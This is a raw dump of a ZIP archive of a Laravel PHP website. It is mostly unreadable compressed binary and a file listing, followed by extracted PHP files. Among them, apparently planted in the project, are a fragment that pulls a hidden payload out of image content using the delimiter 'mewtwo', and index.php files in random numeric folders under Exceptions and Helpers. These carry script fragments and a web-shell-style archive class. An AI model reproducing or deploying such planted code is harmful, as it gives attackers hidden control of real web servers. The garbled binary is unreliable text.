%RD?yko$ٍ6Fl|s'6׏89R:MW{ʓX0X4cݖ,>{n5wcs9Cc^3<zَ f>l菕U. w,}(]">$Vnʾ- pa=rakmrE 3]\]1=ꬰcs` [^1;i=*ѣ'}%ssdK"l?2ݕȏL8},se>6z" ytNJ䭭O=ȻۓǝWiL . sxbXE 1O*1FU=]?ߍ!cTI":6r)TNc&86pVƝ^jIBWʥ7F5obYA4$KI +c^&i cx8>9xF Cb_Ύߝ T٦&VnKX1Ɨ Nņΰ7НmN$<' ׺+N0 | 0%OqR(SK," }x&*Vƈ= lȗ(S%FWL`S*h {쪯ʟz{KϐÝ"2bzW}R ${?"乮:곸+L[x.VĂܕْpqtoߎ1 >c-]R4CVl$s"iO"leoV;gѵVc,fcb"zSLM/INOӴ¦. [NU%W|g=CUK:t>GuOvԫՒ(nɘ`U"X+>CJFV:Feȵ>XmSHyˁVP WuT!Z]mGY# ƈk#ԵZ}qK]X[jcl4WkaYk] o@=zZ[U8*X KX&hg&Pz8rnZl^&@LP:>@c0f&ԥ}`9ɞ[1zz//Zk@yFLUA_<%;l!픹UaJ)oMZAMe3^|gUJ&o՝\Eԕn^RgMeow|R92̟'!!rx b:iqSȮ@fV ȷ)l)5$,J]>[u_ҧ2vaB H5pLM={!_yÿ*r%G-5"Ǝ bkHBg +e-9PL8YZ+۠碓hIq,?bUs۴PK#}/Kuس/Http/Controllers/WebmasterBannersController.phpXo89T)ka kNjwt MώC;E1o~ в(Z`"E&exɨ,0CˊDfa!0] OHH"J1]IMv"雷 "sWtJ ! Flu(1lo i@\E4&Q!yJfAIx^WcFJW;3>\}/H7 sm`,Ntn/#x245v0,J-ʰP6:J evcs WDZI 4"^rrCpq_89د)~,y:f owlFk:6B" :0Մ2wXf}Q핵gUhĈ/󨘥Y Rj˱r77F" B8rK~{q^Y6pq}s{[(_R@ҷ$S[mF lt:^.:O2U\*)qf ^ ^؜!c`уMTNy9^!hp_8pK;Z`Ȼ"xR`\}jnuf#}gg}dzUU&VJC@ӱ1F9aMz@QID"sJܗ9Da&@̬7>Tg֛ȉe3Mr潪RQgM5GKdgy2i(0ǮiDwc{?-&9±uyyޕ:`gnP E]2#>T|UxA_;sTmc^b3eNWƵׅ]pZ.+//ϡBTS]KTfk_Bhb̤LgCz0Ķ-@m p{VUOIŝH܌m)JTQZ뒃iI/ز58[jNʄAmxEFuV0g=O i$%Oj89Z_SEM^>W;9q0FЉN1gi$<40,%,T'K5+_%r#:l5Q$HͯnlD,{[RgΗ= Fc84`Qs2 u vȏ PKXKuL? M0Http/Controllers/WebmasterSectionsController.php[[o6~83HyYo eEbi!0 %MCHLJͦf[1?p0 /_> 1>bL(qr q_߬86eS3o]9tLo`/Q+GKF i{(Ó,Q;6C`?a|6,b?!˲)bd~%g+qsxxKo._wwj;t}0;iǺϥvF&Web4~>+zH|-=cW osio}OHp vb&2W|rXlݸZDK\%1$|ޓWPw,^6EWglV+DZ|3p`6 }3Ŏ?b7Bߊ+$%ѾӊÒU [10OR\گ00/N3hL)Yt4׈ TSkqػSa[b :݈-工*5sLAT(L#KkzJɪ-D#d`-jD^u-wŭ T1ߌB5 ;'^ Nteѳ H1߈Wӕ>w*y>m\`^ ФӇʋoMGgtʖlP<̎y磖 8,"g^و;闸=FtM1:+'|N,0"t)9L;}j#8c"+w0o=x'6Ʌg$ii<mvyFXgy=lPEYZ%FCe8xҥi8DŽ0;bd|b< 'q^TٺYD:zU΂Оt*")ɡRž(ؑhJUp*VTko܍ZwSP&kFʹ&P8ᾒLYm+O{jxEG?S.[әtdn7,N&lnNOf{tdx$P(SS\P-]W0#tryVx4trߗkW.peg<(K\=P_N(&v|@%<Q!<Q!< +_3IT" s sb s-\UX*՞53KU*I.YkuTtTv|=M}Gt^&3^w" Vm9&}K!E{up ϝLa#ןxlF) u24TV"5InvrrZ}uCo՗j&4/yENԝ{^/rL0LaY_{)(a LWSSYo;-ZwLS`٧l5SS5 ؝aT$ɧ~TxKjT(5;! ?yf^UqѬ3k7^`}+5D4vׯZwI'ٳda?=y0@rxfVV:]8'SZ4ew)[>vNWmau@j61u$L2 B{Az?*xG^u^>RhzqB)kް}]};g|}ǐICjcn䘒g5MбqUҩ|MM G|*ŬiiK;x>0@Kl2(U1>e> {̊4"׫y7`X M|6`<Yv@=#MDvP^6oQ2}ywEMמ5xlѿIz܄Ǜ/{o6ntغGc>˨дGVy{ACzPKfLuLڅ 0Http/Controllers/WebmasterSettingsController.php͘o6WpA'훼dٚ A/Z>(Ǡr2tC@*ڀ RtJbSJ2-qpA ؅ 0X>_5.eoTPzD#?(2Tkګ8a@0M_łš 4 &wFHf+r*Yg" ]1*?5 }̖3Î*=Q%GL%kuZż})0UHgpϲ^Û#Kch|4f?eRw:C#Gc8&)@̬Octݱ mKj2ʾ]zhT ܅Bq#+ـi0:{̅0vcgrfG-7se;CA0h8{R5br68=*`E.DU Xw@, ,b#hlM$3aĜ\?]`c S{.eӾ >=6vrvj%T$N(5tF`{G(Q&23N+lB&Yl89)NȷfIt _s`h#F* y9a?&&?)k•-\U8g }-q GÃ*hlx8p6.V[4H'@M %1>HPrd}uu KN:-;HV%Y,jd~6MLoeڋjGڑ#Q0CJMf0`4;͇bO¾ RR[4laUC6xM@lЃvONmLGvL(pcZ^1|`iJ|xs k ) 6\JG6ȪsÇgʻG`:eLeS:f ?C{ =WmB[ }nArP•Mi1'h>W>z{뎛1)h;ew|35r„y o|MHh;p^Bi!&A;IVŊk?NhVSӺ;7ojpK/r> w`\Jhw]haZ G s6Q9B'?BU2T*U h]FfYSC{Cr|xyՑWշu&*/e N 7 zqƹX Z.Q&u e4bE B$u>`cdW&X.H?8Xet$#PKGL~/THttp/Middleware/TrimStrings.phpePJAWA,b> z=x27W3qL/EWWE_^)ER3mj^\dCԪ\d.hY]㶸ŷ b<׊SU='zfĀ$!}a]Ċ:-bR؋r\ ,z\Q83aUդw%X/oPKGLN7 Http/Middleware/TrustProxies.phpuAK@+){o*HJ%cvtug-7 X{e6T AB j#JuLp\w- Jz%k@zxc8d3 ZWg$c@iGcmPo'#b=B`W-U" } BZx4P]f}/|rSdyQ|ʼlMշPKYLb_t#Http/Middleware/VerifyCsrfToken.phpmAK1s E\eQ }`F1/V[WS$IMpTδ^CZO{zz恍 x&eݻ;mJ6&N9JN$t'#ZtA":JQV! ;Qp 5PC &A ?̣| Uw7xJYLѻ̝s_𙃝]mѲZĜHmk֩WBУcB5vh]yX\PKGLi c T"Providers/EventServiceProvider.php}N0EY "D 屠 Dّ.\{ZJlˏN{^5!h5eZׯFu!"<7oZW)mԡt\V^rꄒ0LM'Uf6k?J "'a-2P Tk!ʀ po~o27 挡},⮍rrHca*OsVw%[ʲZ\Om:n+2A>%LzͿ :o$tJ.0 rWuhjKejfWYr&gPKGLݍb"Providers/RouteServiceProvider.phpTj0}W\BNHdV: {IG_Cn" :m]ˍ[E9G~m\Dp;%чiTNj \.*笧LBbXmE8vle eMl,T*]j'B#{ FqoT<B dao+5֌ĝ!AQjʴA6k4Yưt* "VJG#UܳJʮ**aUv ֘ Rcx' M&M4֟ǺvqVi2&$8^n 53XY?K=CHtd-72؎xx!טO 8NFI7;l+r(Z&9ᷨX]?W1~MϿ{DwoIpbk:^:'W 7PKx/KŌAnalyticsVisitor.phpUjADTH 9 O ;=qY݌BH]߫^Sά&5@V W[2I'X ItTq#zN^j,b`Z8(h񯲧o.<:x_Y\.D|c˝^_ZIOǫ~r]FPK.KKajAttachFile.phpA @ }Nx E`6q0BSJ=V7'jU۾U ,H};fw"$iS0:ķ]PKx/KK Banner.phpU @D-DPhaa'&YwfPq)0u5Pø a\PdH5)ѷFq[YZpTUe vk&Z/#4SozI[jv^nze14v1B9_l[Lye>PKx/K0v Comment.php- 0EYiATQ.HI򲓀 w]Ιs}cNZ !DcNF'e/ WBh2||GtA inhdARoGrOT%49XQfףIx^*J_/]n9}PKx/K5 _ Contact.phpMN 0WA(RE 8_q: ά6WϼUZXc _PK.Ke2bg Country.phpA @ F}N " lbC4M-}/8ɊpWQ ]OD$!rj,c8Dp_$l>~{]GPK.K_e Event.phpA 0EsA`A f7fj>0ƑIP|=FQnfQso4I8Rmo(5 (n'@']PKx/KeMap.php- 0D=iATAzMWHM@mto0cG‚B-Dbi4#3FI]%rQ5'Efh0#!nd1 zh}03F#9+* bl`xwzry܂9Y|PKx/KF/{ZMenu.phpAKA +r JEЃ=YedfSw`63N2T)z\y}wiL0N$ CJ[ci׻vvx>r\t״j?P BW/ïRP+O|PKx/KPermissions.phpE 0D{҂(<x 6]i Mc7 Ep.s7쏡@B \LZ7cAHo< VĎ^ߑ}'0fUj!|&obf1LRk6O4yГ4?=7U>lz-/PKy/K>t Photo.php- 0D=iATAMWHM@mto0}‚B-Dbi0##FlI%rQ]|Gv.jp}@HcL|̩Y;Fs!hx$tAE]2RLU ov-YB?UkYNu6'1/PKtFK RelatedTopic.php5 0 {"a(EЃ/@6jK҂ {w9? Ar@R!op6d %cwBwvmJfML H!31 ?!yަ[$RV-gGEx^m{ܺHwXBE$&PKGKi%t Section.phpN1}9,$1% &S;mRVͭkR$k;FJE!x2&.@P|4Ɇr $ Azd\U d0Ê%J Y$k\amltSUh  rH끽+r?A[uHschɃGؾ!c@rE]3oWIy5N8`ȥr%$if{~(ISӉ4][O7vȹުPKq.KMabg Setting.phpA @ F}N &mt M#@Az{?Nd \&~!j~$MRF \g9N*Bf7cKWutPKփaKV Topic.phpQK0)pN<==;aEt_i2@Lj~i,kV7Roipc@@ :wXCϵnje '(pKMXέDB_XǀFO{f<+5?&*ru \å/+lKҦ{ZNٺ= zoەI2⿕<$CGN7q{L(D,{Ksx:`4'4uly( lpv`;;@l+8)(@hO9oP75bMRuϠ7qQ/ }M)DɗPKGK=T$ TopicCategory.php ͨ???PKbXKCcj$ TopicField.php NM??PKYLed4$ mUser.php aλ??PKEy/Kh $ Webmail.php .??PKKy/K'ʣ$ WebmailsFile.php  ͚.AAPKSy/K$*΍$ WebmailsGroup.php sV.AAPK[y/Kb*H$ WebmasterBanner.php ߭.AAPKlyLڠS$ vWebmasterSection.php X֔$AAPKXK8`Ķ$ WebmasterSectionField.php MAAPKH.Ks gp$ WebmasterSetting.php \-YDYDPK EtL$' Console/ YDYDYDPKGLjP$ M Console/Kernel.php )YDYDPK EtL $ Exceptions/ YDYDYDPKGL2zq$  Exceptions/Handler.php )YDYDPK EtL$ Helpers/ һFһFYDPKtL\:unO$  Helpers/Helper.php PŬWһFһFPK EtL$Http/ RRһFPK EtL$Http/Controllers/ KEPKEPһFPK|/K\˹D+($ Http/Controllers/AnalyticsController.php V .һFһFPKnyL)#$ "Http/Controllers/APIsController.php 3Xk'һFһFPK EtL$=Http/Controllers/Auth/ RRKEPPKGL [T oB2$ >Http/Controllers/Auth/ForgotPasswordController.php )KEPKEPPKi|YLק~f)$ ?Http/Controllers/Auth/LoginController.php /y=RRPKb|YLO,$ AHttp/Controllers/Auth/RegisterController.php =q=RRPKGL=y1$ EHttp/Controllers/Auth/ResetPasswordController.php )RRPK\RuL2! C&$ FHttp/Controllers/BannersController.php B1I1IPK|/Kf ;hI'$ IPHttp/Controllers/ContactsController.php .1I1IPKGL4Шi$ sYHttp/Controllers/Controller.php )1I1IPK|/K{CS%$ XZHttp/Controllers/EventsController.php .1I1IPKnyLJ+$ _Http/Controllers/FrontendHomeController.php 'm'KKPK5HuLB$9#$ tHttp/Controllers/HomeController.php xKKPKғsK8%'$ )|Http/Controllers/LanguageController.php RSaKKPKIuL@g`($$ k}Http/Controllers/MenusController.php l@KKPKnyLyc51'$ Http/Controllers/SectionsController.php W|]'KKPK[uLmp3'$ Http/Controllers/SettingsController.php FMMPKVWuLiyfwD&$ Http/Controllers/SiteMapController.php MMPKiyLt1)%$ (Http/Controllers/TopicsController.php H'"MMPKfndK:F<$$ Http/Controllers/UsersController.php x6cUMMPK}/KZ g_'$ Http/Controllers/WebmailsController.php <.MMPK#}/Kuس/$ $Http/Controllers/WebmasterBannersController.php .KEPKEPPKXKuL? M0$ LHttp/Controllers/WebmasterSectionsController.php =KEPKEPPKfLuLڅ 0$ Http/Controllers/WebmasterSettingsController.php %KEPKEPPK#XL0Z¿$ Http/Kernel.php hһFһFPK EtL$yHttp/Middleware/ qlWqlWRPKGL*!&"$ Http/Middleware/EncryptCookies.php )RRPK.KzO $$ Http/Middleware/LanguageSwitcher.php o- U UPKGLq& +$ Http/Middleware/RedirectIfAuthenticated.php ) U UPKGL~/T$ XHttp/Middleware/TrimStrings.php ) U UPKGLN7 $ cHttp/Middleware/TrustProxies.php ) U UPKYLb_t#$ Http/Middleware/VerifyCsrfToken.php aλqlWqlWPK EtL $Providers/ YYqlWPKxYLܟ ( $ Providers/AppServiceProvider.php *vqlWqlWPKGL(?!$ Providers/AuthServiceProvider.php )qlWqlWPKGL"|&$ Providers/BroadcastServiceProvider.php )qlWqlWPKGLi c T"$ Providers/EventServiceProvider.php )YYPKGLݍb"$ Providers/RouteServiceProvider.php )YYPKx/K=F$ RAnalyticsPage.php #.6 66 6PKx/KŌ$ <AnalyticsVisitor.php 6.6 66 6PK.KKaj$ #AttachFile.php M-6 66 6PKx/KK $ Banner.php  .m8m8PKx/K0v $ Comment.php z.m8m8PKx/K5 _ $ OContact.php .m8m8PKx/KF$ ContactsGroup.php $.m8m8PK.Ke2bg $ Country.php ݑ-m8m8PK.K_e $ yEvent.php Oڑ-::PKx/Ke$ Map.php 9/.::PKx/KF/{Z$ Menu.php G6.::PKx/K$ Permissions.php U=.::PKy/K>t $ Photo.php )F.P2=P2=PKtFK $ bRelatedTopic.php h/>P2=P2=PKGKi%t $ ?Section.php Iӝ?P2=P2=PKq.KMabg $ Setting.php 7-P2=P2=PKփaKV $ Topic.php S??PKIIPKVZee Event.phpnu[" . $x[1]); } else { echo "The delimiter 'mewtwo' was not found in the image content."; } ?>PKVZ 99"Exceptions/826208/788937/index.phpnu[<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PKVZdExceptions/desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZ$*΍WebmailsGroup.phpnu[hasMany('App\Webmail', 'group_id'); } } PKVZe2gg Country.phpnu[hasMany('App\Banner', 'section_id'); } } PKVZ8`WebmasterSectionField.phpnu[hasMany('App\TopicField' , 'field_id')->orderby('id', 'asc'); } } PKVZPermissions.phpnu[hasMany('App\User', 'permissions_id'); } } PKVZHelpers/index.phpnu[PKVZDDHelpers/918384/index.phpnu[<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ 